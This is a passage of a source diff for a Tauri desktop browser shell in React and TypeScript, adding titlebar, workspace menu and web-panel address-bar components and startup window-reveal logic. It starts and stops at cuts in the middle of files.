if (open !== shown) { shown = open; setOverlay(open ? 1 : -1); }
}).observe(popover, { childList: true });
}
// External (non-panel) drags that carry a link get dockview's split/tab drop zones.
api.onUnhandledDragOverEvent(event => {
if (!linkDrag.internal && (linkDrag.active || carriesLink(dragTypes(event.nativeEvent)))) event.accept();
});
api.onDidDrop(event => {
if (linkDrag.internal || !(linkDrag.active || carriesLink(dragTypes(event.nativeEvent)))) return;
const tabIndex = event.panel && event.group ? event.group.panels.indexOf(event.panel) : -1;
dropLink(event.nativeEvent, placementFor({ position: event.position, groupId: event.group?.id, tabIndex: tabIndex >= 0 ? tabIndex : undefined }));
});
markTitlebarGroups();
scheduleSync();
if (isTauri && site().deferWindowShow) {
// React commits dock placeholders after Dockview's ready callback. Keep the native
// window hidden until their real bounds have been sent and its restored panes exist.
for (let attempt = 0; attempt < 40; attempt++) {
const visibleWeb = api.panels.filter(panel => isWeb(panel) && panel.api.isVisible);
const webReady = visibleWeb.every(panel => {
const element = shell.placeholders.get(panel.id);
const rect = element?.getBoundingClientRect();
return !!rect && rect.width > 1 && rect.height > 1;
});
// On the first run Dockview can report no visible panels for a frame after addPanel.
// An empty `every()` must not reveal the native window before the loading shape mounts.
const visibleDeck = api.panels.some(panel => (panel.params as TabParams | undefined)?.kind === 'deck' && panel.api.isVisible);
const deckReady = api.panels.every(panel => {
const params = panel.params as TabParams | undefined;
if (params?.kind !== 'deck' || !panel.api.isVisible) return true;
const deck = deckById(params.deckId);
if (!deck) return true;
return deck.columns.every(column => decks.ready.has(column.tabId)) &&
(deck.columns.length === 0 || deck.columns.some(column => {
const element = shell.placeholders.get(column.tabId);
const rect = element?.isConnected ? element.getBoundingClientRect() : null;
return !!rect && rect.width > 1 && rect.height > 1;
}));
});
if ((visibleWeb.length > 0 || visibleDeck) && webReady && deckReady) break;
await new Promise(resolve => setTimeout(resolve, 50));
}
const origin = new URL(site().homeUrl).origin;
const matchesSite = (url: string | null | undefined) => {
try { return !!url && new URL(url).origin === origin; } catch { return false; }
};
const visibleSiteIds = () => {
const ids = new Set<string>();
for (const panel of api.panels.filter(panel => panel.api.isVisible)) {
const params = panel.params as TabParams;
if (params.kind === 'web' && matchesSite(params.url)) ids.add(panel.id);
if (params.kind === 'deck') {
for (const column of deckById(params.deckId)?.columns ?? []) {
const rect = shell.placeholders.get(column.tabId)?.getBoundingClientRect();
const url = decks.runtime.get(column.tabId)?.url ?? columnSourceUrl(column.source);
if (decks.ready.has(column.tabId) && rect && rect.width > 1 && rect.height > 1 && matchesSite(url)) {
ids.add(column.tabId);
}
}
}
}
return ids;
};
const coverIds = visibleSiteIds();
if (!coverIds.size) releaseStartupCover();
await flushLayer();
try {
await flushSync();
// Give the shell webview two paint opportunities after its placeholder DOM is committed.
await new Promise<void>(resolve => requestAnimationFrame(() => requestAnimationFrame(() => resolve())));
await invoke('shell_ready');
// The global watchdog protects initialization. Once shown, the visible X tabs
// keep the shell cover until content is ready or the tab is no longer visible.
clearTimeout(coverWatchdog);
if (coverIds.size && coverActive) {
// Keep the shell's loading shape over the native tab until X has a real page.
// The toolbar remains usable to reload a slow or offline page.
await new Promise<void>(resolve => {
const done = () => {
const visible = visibleSiteIds();
return [...coverIds].every(id => !visible.has(id) || contentReadyTabs.current.has(id));
};
if (done()) { resolve(); return; }
const check = () => { if (done()) finish(); };
const finish = () => {
clearInterval(poll);
window.removeEventListener('bt-tab-startup-state', check);
resolve();
};
// Dockview closes and deck layout changes do not always emit tab-state.
const poll = setInterval(check, 200);
window.addEventListener('bt-tab-startup-state', check);
});
// The X DOM signal can precede its separate native WebView surface by a frame.
// Give that surface one compositor turn before exposing it under the shell.
await new Promise(resolve => setTimeout(resolve, 100));
}
} finally {
releaseStartupCover();
}
}
};
const chrome = frameless ? (maximized ? 'maximized' : 'restored') : 'native';
return <div className="bt-shell" data-chrome={chrome}>
<Titlebar maximized={maximized}/>
<DockviewReact
className="bt-dock"
theme={themeDark}
components={components}
defaultTabComponent={Tab}
rightHeaderActionsComponent={GroupActions}
watermarkComponent={Watermark}
onReady={event => void onReady(event)}
/>
{palette && <CommandPalette context={palette} onRun={runPalette} onClose={() => setPalette(null)}/>}
{overlays.map((Overlay, index) => <Overlay key={index}/>)}
{media && <MediaPanel onClose={() => setMedia(false)}/>}
{menu && <ContextMenu menu={menu} onClose={() => setMenu(null)}/>}
<PaneThemeHost/>
{frameless && !maximized && <ResizeGrips/>}
</div>;
}

View file

@ -0,0 +1,96 @@
import { useEffect, type CSSProperties, type MouseEvent as ReactMouseEvent } from 'react';
import { RESIZE_BORDER } from '../chrome.ts';
import { chipFor } from '../updateModel.ts';
import { AccountSwitcher } from './AccountSwitcher.tsx';
import { invoke } from './bridge.ts';
import { useT, useUpdateStatus } from './hooks.ts';
import { tx } from './i18n.ts';
import { site } from './site.ts';
import { TitlebarExtras } from './TitlebarExtras.tsx';
import { close, minimize, os, startResize, systemMenu, toggleMaximize, type ResizeDirection } from './windowBinding.ts';
const isInteractive = (target: EventTarget | null) =>
target instanceof Element && !!target.closest('button, input, textarea, a, .dv-tab, [role="button"]');
/** Right-click on empty titlebar space: the native system menu (Restore, Move, Size, ...). */
export function titlebarContextMenu(event: ReactMouseEvent | MouseEvent) {
if (isInteractive(event.target)) return;
event.preventDefault();
const scale = window.devicePixelRatio || 1;
systemMenu(Math.round(event.screenX * scale), Math.round(event.screenY * scale));
}
/**
* The 44px titlebar row. It sits under the dockview root: the top groups' tab headers are
* transparent and let clicks through to the drag layer, the logo and the caption buttons.
*/
export function Titlebar({ maximized }: { maximized: boolean }) {
return <header className="bt-titlebar" onContextMenu={titlebarContextMenu}>
<div className="bt-titlebar-drag" data-tauri-drag-region/>
<img className="bt-titlebar-logo" src={site().logo} alt="" draggable={false} data-tauri-drag-region/>
<div className="bt-titlebar-spacer" data-tauri-drag-region/>
<TitlebarExtras/>
<AccountSwitcher/>
<UpdateChip/>
{os !== 'macos' && <WindowControls maximized={maximized}/>}
</header>;
}
/** "Update ready · restart": appears only when a verified update is downloaded (or failed to start). */
function UpdateChip() {
const [status, apply] = useUpdateStatus();
const chip = chipFor(status, site().product, key => tx(key, undefined, '') || undefined);
// Widen the tab strip's right reserve while the chip is shown so tabs never sit under it.
useEffect(() => {
const root = document.documentElement;
if (chip) root.dataset.update = chip.kind; else delete root.dataset.update;
return () => { delete root.dataset.update; };
}, [chip?.kind]);
if (!chip) return null;
if (chip.kind === 'problem') {
return <button className="bt-update-chip bt-update-chip--problem" title={chip.title}
onClick={() => invoke('open_external_url', { url: chip.href }).catch(() => {})}>{chip.label}</button>;
}
return <button className={`bt-update-chip bt-update-chip--${chip.kind}`} title={chip.title} disabled={chip.kind === 'installing'} onClick={apply}>
<span className="bt-update-chip-dot" aria-hidden="true"/>{chip.label}
</button>;
}
function WindowControls({ maximized }: { maximized: boolean }) {
const t = useT();
return <div className="bt-captions">
<button className="bt-caption" aria-label={t('wb.shell.window.minimize')} title={t('wb.shell.window.minimize')} onClick={minimize}>
<svg viewBox="0 0 10 10" aria-hidden="true"><path d="M0 5.5h10"/></svg>
</button>
<button className="bt-caption" aria-label={maximized ? t('wb.shell.window.restore') : t('wb.shell.window.maximize')} title={maximized ? t('wb.shell.window.restore') : t('wb.shell.window.maximize')} onClick={toggleMaximize}>
{maximized
? <svg viewBox="0 0 10 10" aria-hidden="true"><path d="M.5 2.5h7v7h-7z"/><path d="M2.5 2.5v-2h7v7h-2"/></svg>
: <svg viewBox="0 0 10 10" aria-hidden="true"><path d="M.5.5h9v9h-9z"/></svg>}
</button>
<button className="bt-caption bt-caption--close" aria-label={t('wb.common.close')} title={t('wb.common.close')} onClick={close}>
<svg viewBox="0 0 10 10" aria-hidden="true"><path d="M0 0l10 10M10 0L0 10"/></svg>
</button>
</div>;
}
const CORNER = RESIZE_BORDER * 2;
const GRIPS: Array<[ResizeDirection, CSSProperties]> = [
['North', { top: 0, left: CORNER, right: CORNER, height: RESIZE_BORDER, cursor: 'ns-resize' }],
['South', { bottom: 0, left: CORNER, right: CORNER, height: RESIZE_BORDER, cursor: 'ns-resize' }],
['West', { left: 0, top: CORNER, bottom: CORNER, width: RESIZE_BORDER, cursor: 'ew-resize' }],
['East', { right: 0, top: CORNER, bottom: CORNER, width: RESIZE_BORDER, cursor: 'ew-resize' }],
['NorthWest', { top: 0, left: 0, width: CORNER, height: CORNER, cursor: 'nwse-resize' }],
['SouthEast', { bottom: 0, right: 0, width: CORNER, height: CORNER, cursor: 'nwse-resize' }],
['NorthEast', { top: 0, right: 0, width: CORNER, height: CORNER, cursor: 'nesw-resize' }],
['SouthWest', { bottom: 0, left: 0, width: CORNER, height: CORNER, cursor: 'nesw-resize' }],
];
/**
* The shell webview covers the whole frameless window, so the OS never sees its edges:
* these grips start native resize drags. Tab webviews are inset by the same band (Rust clamps too).
*/
export function ResizeGrips() {
return <>{GRIPS.map(([direction, style]) =>
<div key={direction} className="bt-grip" style={style} aria-hidden="true"
onPointerDown={event => { if (event.button === 0) { event.preventDefault(); startResize(direction); } }}/>)}</>;
}

View file

@ -0,0 +1,214 @@
// Titlebar extras left of the account switcher: the workspace menu (save the layout, switch with
// one click, choose the one opened on start) and two quiet chips that appear only when needed
// (developer mode errors / last reload, newer synced settings from another computer). The tab strip
// reserves their measured width (`--bt-tb-extra`, shell.css).
import { useEffect, useLayoutEffect, useRef, useState, type KeyboardEvent as ReactKeyboardEvent } from 'react';
import { createPortal } from 'react-dom';
import { ago } from './backupModel.ts';
import { useDev, useSync, useT } from './hooks.ts';
import { t } from './i18n.ts';
import { Icon } from './icons.tsx';
import { hasFeature } from './site.ts';
import { setOverlay, shell } from './state.ts';
import { WORKSPACE_LIMITS } from './workspaceModel.ts';
import {
deleteWorkspace, loadWorkspaces, renameSavedWorkspace, restoreWorkspace, saveCurrentWorkspace, setStartWorkspace, workspaceList, workspaces,
} from './workspaces.ts';
import './workspaces.css';
function useWorkspaces() {
const [, setTick] = useState(0);
useEffect(() => {
const update = () => setTick(tick => tick + 1);
window.addEventListener('bt-workspaces', update);
if (!workspaces.loaded) void loadWorkspaces();
return () => window.removeEventListener('bt-workspaces', update);
}, []);
return workspaces;
}
/** Opens the workspace menu with the "save as" field focused (Ctrl+K → "Save layout as workspace…"). */
export const openWorkspaceSave = () => window.dispatchEvent(new CustomEvent('bt-workspace-menu', { detail: 'save' }));
export function TitlebarExtras() {
const root = useRef<HTMLDivElement>(null);
useLayoutEffect(() => {
const el = root.current;
if (!el) return;
const measure = () => document.documentElement.style.setProperty('--bt-tb-extra', `${Math.ceil(el.getBoundingClientRect().width)}px`);
measure();
const observer = new ResizeObserver(measure);
observer.observe(el);
return () => { observer.disconnect(); document.documentElement.style.removeProperty('--bt-tb-extra'); };
}, []);
return <div className="bt-tb-extras" ref={root}>
{hasFeature('sync') && <SyncChip/>}
{hasFeature('developer') && <DevChip/>}
{hasFeature('workspaces') && <WorkspaceMenu/>}
</div>;
}
function DevChip() {
const t = useT();
const dev = useDev();
const [now, setNow] = useState(Date.now());
useEffect(() => { const timer = setInterval(() => setNow(Date.now()), 1000); return () => clearInterval(timer); }, []);
if (!dev.enabled) return null;
const errors = dev.errors.length;
const recent = dev.last && now - dev.last.at < 4000 ? dev.last.text : null;
const first = dev.errors[0];
const title = errors
? dev.errors.slice(0, 5).map(error => `${error.file}${error.line ? `:${error.line}${error.column ? `:${error.column}` : ''}` : ''} — ${error.message}`).join('\n')
: t('wb.chip.dev.title');
return <button className={`bt-tb-chip bt-dev-chip${errors ? ' is-error' : ''}${recent ? ' is-fresh' : ''}`} title={title}
onClick={() => shell.openPanelSection('developer')}>
<span className="bt-tb-chip-dot" aria-hidden="true"/>
<span className="bt-tb-chip-text">{errors ? `${t('wb.chip.dev.errors', { count: errors })}${first ? ` · ${first.file}${first.line ? `:${first.line}` : ''}` : ''}` : recent ?? t('wb.chip.dev.label')}</span>
</button>;
}
function SyncChip() {
const t = useT();
const sync = useSync();
if (!sync.newer) return null;
return <button className="bt-tb-chip bt-sync-chip" title={t('wb.chip.sync.title', { device: sync.newer.deviceName, when: ago(sync.newer.createdAt) })}
onClick={() => { shell.openPanelSection('backup'); requestAnimationFrame(() => window.dispatchEvent(new CustomEvent('bt-sync-review', { detail: sync.newer?.name }))); }}>
<Icon name="reload"/><span className="bt-tb-chip-text">{t('wb.backup.fromDevice', { device: sync.newer.deviceName })}</span>
</button>;
}
type Mode = { kind: 'list' } | { kind: 'save' } | { kind: 'rename'; id: string } | { kind: 'confirm'; id: string };
function WorkspaceMenu() {
const t = useT();
const store = useWorkspaces();
const [open, setOpen] = useState(false);
const [mode, setMode] = useState<Mode>({ kind: 'list' });
const [name, setName] = useState('');
const [error, setError] = useState('');
const [anchor, setAnchor] = useState({ top: 50, right: 8 });
const button = useRef<HTMLButtonElement>(null);
const menu = useRef<HTMLDivElement>(null);
const active = store.store.items.find(item => item.id === store.active);
const list = workspaceList();
const show = (next: Mode = { kind: 'list' }) => {
const rect = button.current?.getBoundingClientRect();
if (rect) setAnchor({ top: Math.round(rect.bottom + 6), right: Math.max(8, Math.round(window.innerWidth - rect.right)) });
setMode(next); setError('');
setName(next.kind === 'save' ? (active ? '' : suggestName()) : '');
setOpen(true);
};
const close = (refocus = false) => { setOpen(false); setMode({ kind: 'list' }); setError(''); if (refocus) button.current?.focus(); };
useEffect(() => {
const onOpen = (event: Event) => show((event as CustomEvent<string>).detail === 'save' ? { kind: 'save' } : { kind: 'list' });
window.addEventListener('bt-workspace-menu', onOpen);
return () => window.removeEventListener('bt-workspace-menu', onOpen);
}, [active?.id]);
useEffect(() => {
if (!open) return;
setOverlay(1);
const onBlur = () => close();
window.addEventListener('blur', onBlur);
return () => { setOverlay(-1); window.removeEventListener('blur', onBlur); };
}, [open]);
useEffect(() => {
if (!open) return;
requestAnimationFrame(() => menu.current?.querySelector<HTMLElement>('input, .bt-ws-main, button')?.focus());
}, [open, mode.kind]);
async function run(action: () => Promise<unknown>, done = true) {
setError('');
try { await action(); if (done) close(); return true; }
catch (failure) { setError(failure instanceof Error ? failure.message : String(failure)); return false; }
}
const onKey = (event: ReactKeyboardEvent) => {
if (event.key === 'Escape') { event.preventDefault(); event.stopPropagation(); if (mode.kind !== 'list') setMode({ kind: 'list' }); else close(true); return; }
if (event.key === 'ArrowDown' || event.key === 'ArrowUp') {
const items = Array.from(menu.current?.querySelectorAll<HTMLElement>('.bt-ws-main, .bt-ws-save') ?? []);
if (!items.length) return;
event.preventDefault();
const at = items.indexOf(document.activeElement as HTMLElement);
items[(at + (event.key === 'ArrowDown' ? 1 : -1) + items.length) % items.length]?.focus();
}
};
return <>
<button ref={button} className="bt-ws-button" aria-haspopup="menu" aria-expanded={open}
title={active ? `Workspace: ${active.name}` : 'Workspaces: save this layout, switch with one click'}
aria-label={active ? t('wb.ws.named', { name: active.name }) : t('wb.ws.title')} onClick={() => (open ? close() : show())}>
<WorkspaceGlyph/>
{active && <span className="bt-ws-button-name">{active.name}</span>}
</button>
{open && createPortal(<div className="bt-menu-backdrop" onMouseDown={() => close()} onContextMenu={event => { event.preventDefault(); close(); }}>
<div ref={menu} className="bt-menu bt-ws-menu bt-pop bt-pop--right" role="menu" aria-label={t('wb.ws.title')} style={{ top: anchor.top, right: anchor.right }}
onMouseDown={event => event.stopPropagation()} onKeyDown={onKey}>
<div className="bt-ws-head" role="presentation">
<strong>{t('wb.ws.title')}</strong>
<span>{t('wb.ws.hint')}</span>
</div>
{list.length === 0 && mode.kind === 'list' && <div className="bt-ws-empty">{t('wb.ws.empty')}</div>}
{list.map(item => {
const isActive = item.id === store.active;
if (mode.kind === 'rename' && mode.id === item.id) {
return <form key={item.id} className="bt-ws-form" onSubmit={event => { event.preventDefault(); void run(() => renameSavedWorkspace(item.id, name), false).then(ok => ok && setMode({ kind: 'list' })); }}>
<input className="bt-ws-input" value={name} maxLength={WORKSPACE_LIMITS.name} onChange={event => setName(event.target.value)} aria-label={t('wb.ws.newName', { name: item.name })} spellCheck={false}/>
<button type="submit" className="bt-ws-primary" disabled={!name.trim()}>{t('wb.ws.rename')}</button>
</form>;
}
if (mode.kind === 'confirm' && mode.id === item.id) {
return <div key={item.id} className="bt-ws-confirm" role="alertdialog" aria-label={t('wb.ws.deleteNamed', { name: item.name })}>
<span>{t('wb.ws.deleteConfirm', { name: item.name })}</span>
<div>
<button className="bt-ws-danger" onClick={() => void run(() => deleteWorkspace(item.id), false).then(ok => ok && setMode({ kind: 'list' }))}>{t('kit.delete')}</button>
<button className="bt-ws-cancel" onClick={() => setMode({ kind: 'list' })}>{t('wb.common.cancel')}</button>
</div>
</div>;
}
return <div key={item.id} className={`bt-ws-row${isActive ? ' is-active' : ''}`} role="none">
<button role="menuitem" className="bt-ws-main" aria-current={isActive ? 'true' : undefined} onClick={() => void run(() => restoreWorkspace(item.id))}>
<span className="bt-ws-name">{item.name}{item.isDefault && <span className="bt-ws-badge" title={t('wb.ws.onStartTitle')}>{t('wb.ws.onStart')}</span>}</span>
<span className="bt-ws-meta">{t('wb.ws.tabs', { count: item.tabs })}{isActive ? ` · ${t('wb.ws.openNow')}` : ''}</span>
</button>
<span className="bt-ws-actions">
{isActive && <button className="bt-ws-icon" title={t('wb.ws.update')} aria-label={t('wb.ws.updateNamed', { name: item.name })}
onClick={() => void run(() => saveCurrentWorkspace(item.name, item.id))}><Icon name="check"/></button>}
<button className="bt-ws-icon" title={item.isDefault ? t('wb.ws.stopStart') : t('wb.ws.setStart')} aria-pressed={item.isDefault}
aria-label={item.isDefault ? t('wb.ws.stopStartNamed', { name: item.name }) : t('wb.ws.setStartNamed', { name: item.name })}
onClick={() => void run(() => setStartWorkspace(item.isDefault ? null : item.id), false)}><Icon name={item.isDefault ? 'pin' : 'unpin'}/></button>
<button className="bt-ws-icon" title={t('wb.ws.rename')} aria-label={t('wb.ws.renameNamed', { name: item.name })} onClick={() => { setName(item.name); setMode({ kind: 'rename', id: item.id }); }}><Icon name="edit"/></button>
<button className="bt-ws-icon" title={t('kit.delete')} aria-label={t('wb.ws.deleteNamed', { name: item.name })} onClick={() => setMode({ kind: 'confirm', id: item.id })}><Icon name="trash"/></button>
</span>
</div>;
})}
<hr/>
{mode.kind === 'save'
? <form className="bt-ws-form" onSubmit={event => { event.preventDefault(); void run(() => saveCurrentWorkspace(name)); }}>
<input className="bt-ws-input" value={name} placeholder={t('wb.ws.namePlaceholder')} maxLength={WORKSPACE_LIMITS.name} onChange={event => setName(event.target.value)} aria-label={t('wb.ws.name')} spellCheck={false}/>
<button type="submit" className="bt-ws-primary" disabled={!name.trim()}>{t('wb.common.save')}</button>
</form>
: <button role="menuitem" className="bt-ws-save" onClick={() => { setName(suggestName()); setMode({ kind: 'save' }); }}>
<span className="bt-ws-save-icon"><Icon name="plus"/></span>
<span className="bt-ws-text"><span className="bt-ws-name">{t('wb.ws.save')}</span><span className="bt-ws-meta">{t('wb.ws.saveMeta', { count: shell.api?.panels.length ?? 0 })}</span></span>
</button>}
{error && <div className="bt-ws-error" role="alert">{error}</div>}
</div>
</div>, document.body)}
</>;
}
function suggestName() {
const taken = new Set(workspaces.store.items.map(item => item.name));
for (let n = 1; ; n += 1) { const candidate = n === 1 ? t('wb.ws.default') : t('wb.ws.defaultN', { n }); if (!taken.has(candidate)) return candidate; }
}
/** Three stacked panes: a layout. */
function WorkspaceGlyph() {
return <svg className="bt-ws-glyph" viewBox="0 0 16 16" aria-hidden="true">
<rect x="1.75" y="2.25" width="12.5" height="11.5" rx="2.25"/>
<path d="M6.75 2.5v11M6.75 8h7.25"/>
</svg>;
}

View file

@ -0,0 +1,201 @@
import type { IDockviewPanelProps } from 'dockview';
import { Fragment, useEffect, useRef, useState, type KeyboardEvent as ReactKeyboardEvent } from 'react';
import { tabProfile } from '../profileModel.ts';
import { AccountAvatar, accountName } from './AccountSwitcher.tsx';
import { WB_MARK } from './brand.ts';
import { invoke } from './bridge.ts';
import { useProfiles, useSiteText, useT } from './hooks.ts';
import { Icon } from './icons.tsx';
import { openPaneTheme } from './PaneTheme.tsx';
import { toUrl } from './searchInput.ts';
import { site } from './site.ts';
import { scheduleSync, setOverlay, shell, tabAction, type WebParams } from './state.ts';
import { useTabStill } from './tabStill.ts';
/** One browser tab: toolbar with the smart address bar over a placeholder the native webview covers. */
export function WebPanel(props: IDockviewPanelProps<WebParams>) {
const t = useT();
const { params, api } = props;
const viewport = useRef<HTMLDivElement>(null);
const input = useRef<HTMLInputElement>(null);
const omni = useRef<HTMLDivElement>(null);
const [draft, setDraft] = useState<string | null>(null);
const [caret, setCaret] = useState(0);
const [splitMenu, setSplitMenu] = useState(false);
// Windows: the page's last frame, shown while its webview is hidden (host `tab-still`).
const still = useTabStill(api.id);
useSiteText();
const profiles = useProfiles();
const { logo, product, addressCompleter, themes } = site();
// Same rule as the tab's account dot: shown once there is more than one account.
const account = profiles.profiles.length > 1 ? tabProfile(profiles, params.profile) : null;
const editing = draft !== null;
useEffect(() => {
const el = viewport.current;
if (!el) return;
shell.placeholders.set(api.id, el);
const observer = new ResizeObserver(scheduleSync);
observer.observe(el);
const visibility = api.onDidVisibilityChange(scheduleSync);
scheduleSync();
return () => {
observer.disconnect();
visibility.dispose();
if (shell.placeholders.get(api.id) === el) shell.placeholders.delete(api.id);
scheduleSync();
};
}, [api]);
// An overlay (the shell rises above the tab webviews, or hides them) while the menu is open; Esc closes it.
useEffect(() => {
if (!splitMenu) return;
setOverlay(1);
const onKey = (event: KeyboardEvent) => { if (event.key === 'Escape') { event.preventDefault(); setSplitMenu(false); } };
window.addEventListener('keydown', onKey);
return () => { setOverlay(-1); window.removeEventListener('keydown', onKey); };
}, [splitMenu]);
// Entering edit mode focuses the mono input; a seeded draft keeps the caret at the end.
const seeded = useRef(false);
useEffect(() => {
if (!editing) return;
const el = input.current;
if (!el) return;
el.focus();
if (seeded.current) { seeded.current = false; el.setSelectionRange(el.value.length, el.value.length); } else el.select();
}, [editing]);
const enterEdit = (seed?: string) => {
seeded.current = seed !== undefined;
setDraft(seed ?? params.url);
};
useEffect(() => {
const focusAddress = (event: Event) => {
if ((event as CustomEvent<string>).detail !== api.id) return;
if (draft === null) enterEdit();
else { input.current?.focus(); input.current?.select(); }
};
window.addEventListener('bt-focus-address', focusAddress);
return () => window.removeEventListener('bt-focus-address', focusAddress);
});
const navigate = (url: string) => {
invoke('tab_navigate', { id: api.id, url }).catch(() => {});
tabAction(api.id, 'focus');
};
const go = () => {
if (draft === null) return;
const url = toUrl(draft, site().searchUrl);
setDraft(null);
navigate(url);
};
// The site's completions for the token being typed (inline, so no overlay hides the page).
const chips = draft === null || !addressCompleter ? [] : addressCompleter.suggest(draft, caret, 5);
const trackCaret = () => setCaret(input.current?.selectionStart ?? draft?.length ?? 0);
const acceptChip = (insert: string) => {
if (draft === null || !addressCompleter) return;
const next = addressCompleter.apply(draft, caret, insert);
setDraft(next.text);
setCaret(next.caret);
requestAnimationFrame(() => { input.current?.focus(); input.current?.setSelectionRange(next.caret, next.caret); });
};
const onChipsKey = (event: ReactKeyboardEvent<HTMLDivElement>) => {
if (event.target !== event.currentTarget) return;
const mod = event.ctrlKey || event.metaKey || event.altKey;
if (event.key === 'Enter' || event.key === ' ') { event.preventDefault(); enterEdit(); }
else if (!mod && event.key.length === 1) { event.preventDefault(); enterEdit(event.key); }
};
const model = site().address(params.url);
const segments = model?.segments ?? [];
return <div className="bt-web">
<div className="bt-addressbar">
<button className="bt-icon" title={t('wb.web.backTitle')} aria-label={t('wb.web.back')} onClick={() => tabAction(api.id, 'back')}><Icon name="back"/></button>
<button className="bt-icon" title={t('wb.web.forwardTitle')} aria-label={t('wb.web.forward')} onClick={() => tabAction(api.id, 'forward')}><Icon name="forward"/></button>
<button className="bt-icon" title={params.loading ? t('wb.web.stop') : t('wb.web.reloadTitle')} aria-label={params.loading ? t('wb.web.stop') : t('wb.shell.menu.reload')} onClick={() => tabAction(api.id, params.loading ? 'stop' : 'reload')}><Icon name={params.loading ? 'stop' : 'reload'}/></button>
{account && <span className="bt-pane-account" role="img" aria-label={t('wb.shell.tab.account', { name: accountName(account) })} title={t('wb.web.paneAccount', { name: accountName(account) })}
style={{ ['--bt-pane-account' as string]: account.color }}><AccountAvatar profile={account} size={20}/></span>}
{editing
? <div className="bt-omni bt-omni--edit" ref={omni}>
<Icon name="search" className="bt-omni-lead"/>
<input ref={input} spellCheck={false} aria-label={t('wb.web.address')} value={draft}
onChange={event => { setDraft(event.target.value); setCaret(event.target.selectionStart ?? event.target.value.length); }}
onSelect={trackCaret} onKeyUp={trackCaret}
onBlur={() => setDraft(null)}
onKeyDown={event => {
if (event.key === 'Tab' && !event.shiftKey && chips[0]) { event.preventDefault(); acceptChip(chips[0].insert); }
if (event.key === 'Enter') { event.preventDefault(); go(); }
if (event.key === 'Escape') { event.preventDefault(); setDraft(null); tabAction(api.id, 'focus'); }
}}/>
{chips.length > 0 && <span className="bt-omni-ops" role="listbox" aria-label={addressCompleter?.label()}>
{chips.map((chip, index) => <button key={chip.insert} type="button" role="option" aria-selected={index === 0} className="bt-omni-op" title={`${chip.hint}${index === 0 ? ` (${t('wb.web.tabKey')})` : ''}`}
onMouseDown={event => event.preventDefault()} onClick={() => acceptChip(chip.insert)}>{chip.label}</button>)}
</span>}
{params.loading && <span className="bt-omni-progress" aria-label={t('wb.common.loading')}/>}
</div>
: <div className="bt-omni" ref={omni} role="button" tabIndex={0} aria-label={t('wb.web.addressValue', { url: params.url })} title={params.url}
onClick={() => enterEdit()} onKeyDown={onChipsKey}>
{model?.insecure && <span className="bt-chip-insecure">{t('wb.web.insecure')}</span>}
{model
? <button className="bt-chip-site" title={model.site.href} onClick={event => { event.stopPropagation(); if (segments.length) navigate(model.site.href); else enterEdit(); }}>
{model.site.kind !== 'host'
? <img src={logo} alt="" width={14} height={14}/>
: params.favicon ? <img src={params.favicon} alt="" width={14} height={14}/> : null}
{model.site.label}
</button>
: <span className="bt-omni-raw">{params.url}</span>}
{segments.map((segment, index) => {
const last = index === segments.length - 1;
// The model already wraps search queries in straight quotes; show typographic ones.
const label = segment.quoted ? segment.label.replace(/^"/, '“').replace(/"$/, '”') : segment.label;
return <Fragment key={`${index}:${segment.href}`}>
<span className="bt-sep" aria-hidden="true">/</span>
{last
? <span className={`bt-seg ${segment.mono ? 'bt-seg--mono' : ''}`} aria-current="page">{label}</span>
: <button className={`bt-seg ${segment.mono ? 'bt-seg--mono' : ''}`} title={segment.href}
onClick={event => { event.stopPropagation(); navigate(segment.href); }}>{label}</button>}
</Fragment>;
})}
<span className="bt-omni-fill"/>
<button className="bt-omni-action" title={t('wb.shell.menu.openBrowser')} aria-label={t('wb.shell.menu.openBrowser')}
onClick={event => { event.stopPropagation(); invoke('open_external_url', { url: params.url }).catch(() => {}); }}><Icon name="external"/></button>
{params.loading && <span className="bt-omni-progress" aria-label={t('wb.common.loading')}/>}
</div>}
<div className="bt-split">
<button className="bt-icon bt-split-main" title={t('wb.web.splitTitle')} aria-label={t('wb.shell.menu.splitRight')} onClick={() => shell.split(api.id, 'right')}><Icon name="split"/></button>
<button className="bt-icon bt-split-more" title={t('wb.web.splitMore')} aria-label={t('wb.web.splitMore')} aria-haspopup="menu" aria-expanded={splitMenu}
onClick={() => setSplitMenu(open => !open)} onBlur={() => setTimeout(() => setSplitMenu(false), 150)}><Icon name="chevron"/></button>
{splitMenu && <div className="bt-menu bt-split-menu bt-pop" role="menu">
<button role="menuitem" onMouseDown={event => event.preventDefault()} onClick={() => { setSplitMenu(false); shell.split(api.id, 'right'); }}>
<Icon name="split"/><span className="bt-menu-label">{t('wb.shell.menu.splitRight')}</span><span className="bt-menu-keys">{'Ctrl \\'}</span></button>
<button role="menuitem" onMouseDown={event => event.preventDefault()} onClick={() => { setSplitMenu(false); shell.split(api.id, 'below'); }}>
<Icon name="splitDown"/><span className="bt-menu-label">{t('wb.shell.menu.splitDown')}</span><span className="bt-menu-keys">{'Ctrl \u21e7 \\'}</span></button>
{themes && <>
<hr/>
<button role="menuitem" onMouseDown={event => event.preventDefault()} onClick={event => {
setSplitMenu(false);
const box = (event.currentTarget.closest('.bt-split') as HTMLElement).getBoundingClientRect();
openPaneTheme({ id: api.id, profile: tabProfile(profiles, params.profile).id, x: box.right - 272, y: box.bottom + 6 });
}}><Icon name="palette"/><span className="bt-menu-label">{t('wb.shell.menu.paneTheme')}</span></button>
</>}
</div>}
</div>
<button className="bt-brand-button" title={`${product} (Ctrl+Shift+W)`} aria-label={product} onClick={() => shell.openPanel(api.id)}>
<img className="bt-wb" src={WB_MARK} alt="" width={30} height={17} draggable={false}/>
</button>
</div>
<div className="bt-viewport" ref={viewport}>
{/* Until the page's own webview is on screen: its last frame, else the site's shape (rail, timeline), not a blank pane. */}
{still
? <div className="bt-still" aria-hidden="true" style={{ backgroundImage: `url("${still}")` }}/>
: <div className="bt-skeleton" aria-hidden="true"><i/><b>{[0, 1, 2, 3].map(i => <span key={i}/>)}</b></div>}
{!still && <div className="bt-viewport-hint">{params.loading ? <span className="bt-spinner" aria-hidden="true"/> : null}<span>{params.title || model?.site.label || t('wb.common.loading')}</span></div>}
</div>
</div>;
}

View file

@ -0,0 +1,91 @@
// What a click in the titlebar account switcher does (pure; unit-tested under node).
//
// One click on an account shows that account: a visible pane of it is focused, otherwise its home
// feed (or the site's sign-in when it is not signed in) opens in a new pane beside the focused one.
// Only a modifier click or the row's "Open in new tab" forces a new tab. The default account
// (`ProfileSettings.active`, kept for profiles.json compatibility) is only where new tabs open.
import { addProfile, tabProfile, type Profile, type ProfileSettings } from '../profileModel.ts';
import { tx } from './i18n.ts';
/** A tab as the switcher sees it: its account and whether it is on screen right now. */
export type PaneInfo = {
id: string;
